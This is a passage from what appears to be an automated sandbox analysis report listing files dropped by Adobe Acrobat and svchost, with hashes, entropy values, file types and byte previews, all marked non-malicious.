SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrO:KooCEYhgYEL0In
MD5:	1462481D05A772A78D0EADD9FF51F73F
SHA1:	39BB3046C5127A630AC40DE36567B08C800FEB62
SHA-256:	3EBA98A028C5A3102689CD00806E36722C7FD8092329739993F29FEF0EA94A34
SHA-512:	6F55C1D769A316AAA8847B2E599C4BB82ACED814C4F41DE0A324D28976FA9BBB824B4A69714BBF4D045094449A1B2E12E90571202340DC31017233CEC882F331
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xd2f5dce9, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221366184889703
Encrypted:	false
SSDEEP:	1536:ZSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Zaza/vMUM2Uvz7DO
MD5:	D2BED288A5F3DD430D0CFD5451428B32
SHA1:	D95FC20BAEBA05A5C52A4CB8B31DC75761BDC506
SHA-256:	B3B6C8D859AA24A125F2144C7464A7739017444B80ED7F69D222D6371359CB64
SHA-512:	7C35C05D409C7DA7A858ED8BE80A1A608D784EA475D8375A0CD7B46936EEDF014C58E12B4FB8FA95A1344C79289A57EB93F1694BCCC5B29D320130D5CBC12702
Malicious:	false
Preview:	....... .......A.......X\...;...{......................0.!..........{A.0....}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................o..e0....}.................../.0....}K..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07693180308832093
Encrypted:	false
SSDEEP:	3:qZXEYeiGJukbjjn13a/9H0vRu1YllcVO/lnlZMxZNQl:qpEzNnbj53qyJPOewk
MD5:	C7733923E0AFCC26FD2E33501CC62323
SHA1:	05C62BA8C6AACAF724A29261E8391132954105A4
SHA-256:	2D0EBD20BF25D1844CA1275AA99A1EC2E386FFDB3A264E3ADC8E5C63232322A5
SHA-512:	30E4276060ADC257712BDD38B1DF0D1123D2B49C64785C8A2D4915888A334548F2A30139D7582D2C2E1B64FD9B8725633A0ADAD6F277CBB6712B163AC7BBC2B4
Malicious:	false
Preview:	.......................................;...{..0....}K......{A..............{A......{A..........{A]................./.0....}K.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.176996652007269
Encrypted:	false
SSDEEP:	6:iO4hfrpM+q2Pwkn2nKuAl9OmbnIFUtShfAZmwshfjMVkwOwkn2nKuAl9OmbjLJ:7L+vYfHAahFUt3/FV5JfHAaSJ
MD5:	3D1D7437B0570210DD442C0FD7EBC178
SHA1:	87DE04E5A6E70F495CB449BD036BCC6A481C5278
SHA-256:	03E5D75949B102DF8E735C7DB16CE760C1B2A6D1A712EAB1CFA407F01052F2C6
SHA-512:	C9400007BF39BDCF41B89B03C72BA92A7C1377FA30ECC927A53C4AC13047E781383D0412CD0CDC1ADF208C17E6E7B4A7EB680C92E9F2B174DB2849FC159A71ED
Malicious:	false
Preview:	2025/01/10-12:08:46.351 1cac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:08:46.353 1cac Recovering log #3.2025/01/10-12:08:46.353 1cac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.176996652007269
Encrypted:	false
SSDEEP:	6:iO4hfrpM+q2Pwkn2nKuAl9OmbnIFUtShfAZmwshfjMVkwOwkn2nKuAl9OmbjLJ:7L+vYfHAahFUt3/FV5JfHAaSJ
MD5:	3D1D7437B0570210DD442C0FD7EBC178
SHA1:	87DE04E5A6E70F495CB449BD036BCC6A481C5278
SHA-256:	03E5D75949B102DF8E735C7DB16CE760C1B2A6D1A712EAB1CFA407F01052F2C6
SHA-512:	C9400007BF39BDCF41B89B03C72BA92A7C1377FA30ECC927A53C4AC13047E781383D0412CD0CDC1ADF208C17E6E7B4A7EB680C92E9F2B174DB2849FC159A71ED
Malicious:	false
Preview:	2025/01/10-12:08:46.351 1cac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:08:46.353 1cac Recovering log #3.2025/01/10-12:08:46.353 1cac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.183018219994118
Encrypted:	false
SSDEEP:	6:iO4hfWWx9+q2Pwkn2nKuAl9Ombzo2jMGIFUtShfWrJZmwshfWQuBWF39VkwOwknV:7rM+vYfHAa8uFUtZd/nQuQNV5JfHAa8z
MD5:	C661930A7D163FBDFB23C9F15C7244A0
SHA1:	D4C6EBE38307E78640D359AE6E0E633B9FA2CCB5
SHA-256:	5D962F0BD0105CC7067AC19CBE19C986CAD0AD916308AD74B4A42DBE2497E89F
SHA-512:	367928597529F2714D6D3C8B65D1E6BF0F1BA512908C1F94B96C5E0C2697C3B1AE34E4BA6CEF19689DA5E33BD3302914B922B37E3CD3B5C874F23D0C6F45DE1D
Malicious:	false
Preview:	2025/01/10-12:08:46.363 1d2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:08:46.364 1d2c Recovering log #3.2025/01/10-12:08:46.365 1d2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.183018219994118
Encrypted:	false
SSDEEP:	6:iO4hfWWx9+q2Pwkn2nKuAl9Ombzo2jMGIFUtShfWrJZmwshfWQuBWF39VkwOwknV:7rM+vYfHAa8uFUtZd/nQuQNV5JfHAa8z
MD5:	C661930A7D163FBDFB23C9F15C7244A0
SHA1:	D4C6EBE38307E78640D359AE6E0E633B9FA2CCB5
SHA-256:	5D962F0BD0105CC7067AC19CBE19C986CAD0AD916308AD74B4A42DBE2497E89F
SHA-512:	367928597529F2714D6D3C8B65D1E6BF0F1BA512908C1F94B96C5E0C2697C3B1AE34E4BA6CEF19689DA5E33BD3302914B922B37E3CD3B5C874F23D0C6F45DE1D
Malicious:	false
Preview:	2025/01/10-12:08:46.363 1d2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:08:46.364 1d2c Recovering log #3.2025/01/10-12:08:46.365 1d2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.973516851796719
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqe2sBdOg2H2caq3QYiubInP7E4T3y:Y2sRdsFdMHJ3QYhbG7nby
MD5:	89D1B8924663E6657DFEFC59A30BD7B7
SHA1:	C62328477C876A9F82722F892C07E79163BFC845
SHA-256:	1DA25E7F75C6D3AD137E2620917632DE4572ADC7B108105C86122D7AE8EFED65
SHA-512:	13EE13471EB92A5152480E5C7EF72934946223213764159B854DDEF39BFA66AC7E797D123EFE075AA4F85917896659B46115498970AEB7EF5C5142D5A69BECCB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381088938907827","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":126052},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d07dfe09-15de-4a05-8224-73dfe959b9eb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.973516851796719
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqe2sBdOg2H2caq3QYiubInP7E4T3y:Y2sRdsFdMHJ3QYhbG7nby
MD5:	89D1B8924663E6657DFEFC59A30BD7B7
SHA1:	C62328477C876A9F82722F892C07E79163BFC845
SHA-256:	1DA25E7F75C6D3AD137E2620917632DE4572ADC7B108105C86122D7AE8EFED65
SHA-512:	13EE13471EB92A5152480E5C7EF72934946223213764159B854DDEF39BFA66AC7E797D123EFE075AA4F85917896659B46115498970AEB7EF5C5142D5A69BECCB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381088938907827","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":126052},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.255202496476364
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7X6D8S:etJCV4FiN/jTN/2r8Mta02fEhgO73goe
MD5:	25B03F66F34056B79416D5E59DD991C5
SHA1:	336B87660C331B3C16C8DC5EF7A364A94717C2D8
SHA-256:	3E6266EE68836E2643F194F924B5C6E487A1B402E8AAE41AE5BE2CDA60F3937B
SHA-512:	C027BB75321FCBF5A7D17CD6F0A9D1EB7C7CC9F98548734C1F6586CBDCFAC6FE53DD7A270713D3CAC44DE2D665E0DF22528F0E986EB9CCECE5CD7BD04648386D
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.187073060391777
Encrypted:	false
SSDEEP:	6:iO4hf79+q2Pwkn2nKuAl9OmbzNMxIFUtShfUJZmwshfU9VkwOwkn2nKuAl9OmbzE:7M+vYfHAa8jFUtd/vV5JfHAa84J
MD5:	9C09B7F9E0902E12677BD1BC471D4EA4
SHA1:	3E2E54F1186AAEA72F29BAE1170B26BB6A8740D5
SHA-256:	47B2766D4287F70C494F8FEB86746A386C677EB07B09FF09D5F2361B66C6FF53
SHA-512:	AC26DC458AF7CD2B1B203D59E6F80E74E3C964DDA472027E3E64996836498DD5FB4F8517D7319A17623390936605553DAD4DAEBAA429E26B952A5EC16C7BA4DB
Malicious:	false
Preview:	2025/01/10-12:08:46.518 1d2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:08:46.519 1d2c Recovering log #3.2025/01/10-12:08:46.519 1d2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.187073060391777
Encrypted:	false
SSDEEP:	6:iO4hf79+q2Pwkn2nKuAl9OmbzNMxIFUtShfUJZmwshfU9VkwOwkn2nKuAl9OmbzE:7M+vYfHAa8jFUtd/vV5JfHAa84J
MD5:	9C09B7F9E0902E12677BD1BC471D4EA4
SHA1:	3E2E54F1186AAEA72F29BAE1170B26BB6A8740D5
SHA-256:	47B2766D4287F70C494F8FEB86746A386C677EB07B09FF09D5F2361B66C6FF53
SHA-512:	AC26DC458AF7CD2B1B203D59E6F80E74E3C964DDA472027E3E64996836498DD5FB4F8517D7319A17623390936605553DAD4DAEBAA429E26B952A5EC16C7BA4DB
Malicious:	false
Preview:	2025/01/10-12:08:46.518 1d2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:08:46.519 1d2c Recovering log #3.2025/01/10-12:08:46.519 1d2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.445004294344011
Encrypted:	false
SSDEEP:	384:Sebci5tciBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:T7s3OazzU89UTTgUL
MD5:	67404F1966A2F25AA8ACDCE0CE7263C7
SHA1:	00BBBCDE6A3C27FAD7D238E94C4556F284B85A57
SHA-256:	31CB0E0CCF7D5A739CCA244B5E8E5A5932DF4BDF3D88159FCC03C21B1938571A
SHA-512:	B623E6BF5AD7A3B9156C956496455B4487876F73E031BA9744BDD81A7F2129BFBDC3AF55AB66A637CE04EAECBECE3F632F39D7AA74D5503E988860373BC01EE6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2148214107494595
Encrypted:	false
SSDEEP:	48:7MN+7nCDqvmFTIF3XmHjBoGGR+jMz+LhD:7o+7nq79IVXEBodRBk1
MD5:	C0518915687064E5C59DC2061208B5EF
SHA1:	EB1D25ABE5F8607FDBC853F43669CC1BE7C54E95
SHA-256:	651F823B47C3D1C93EF23C0E2BEC30E053DD832745C7379773C600FF6D76F031
SHA-512:	D2D606F5C66B4D2659A4DBAA429C89C130C9C6CD34799C0857C3B1B5297FCB8F13EFAE57649470F662528C84721479C2F4092C7114E443C3E0E96E448FFBC5D6
Malicious:	false
Preview:	.... .c.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.775162490582081
Encrypted:	false
SSDEEP:	3:kkFklS1tkN/ltfllXlE/HT8kJ7vNNX8RolJuRdxLlGB9lQRYwpDdt:kKLweT8S7VNMa8RdWBwRd
MD5:	5BFA1CD116932979550E3844B4B937D2
SHA1:	A13DBEEFFE98349CA4A6ADD51E34170B464B4D1A
SHA-256:	DC24EF00E0A94B85C79E71043FA8B7836F5C6E9EA1AF57646B657284CA66DE94
SHA-512:	1DBC1FBDB63C32CE6D0B1C67D9B4DBC1FB7B83F3656AC9772BF1A9993F149E2C289885C5EC6A1C5687AD77EFB6C64EFEE47D2FBFC960A0596DB9860997F521AE
Malicious:	false
Preview:	p...... ........a..V.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1440

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1440

Download File

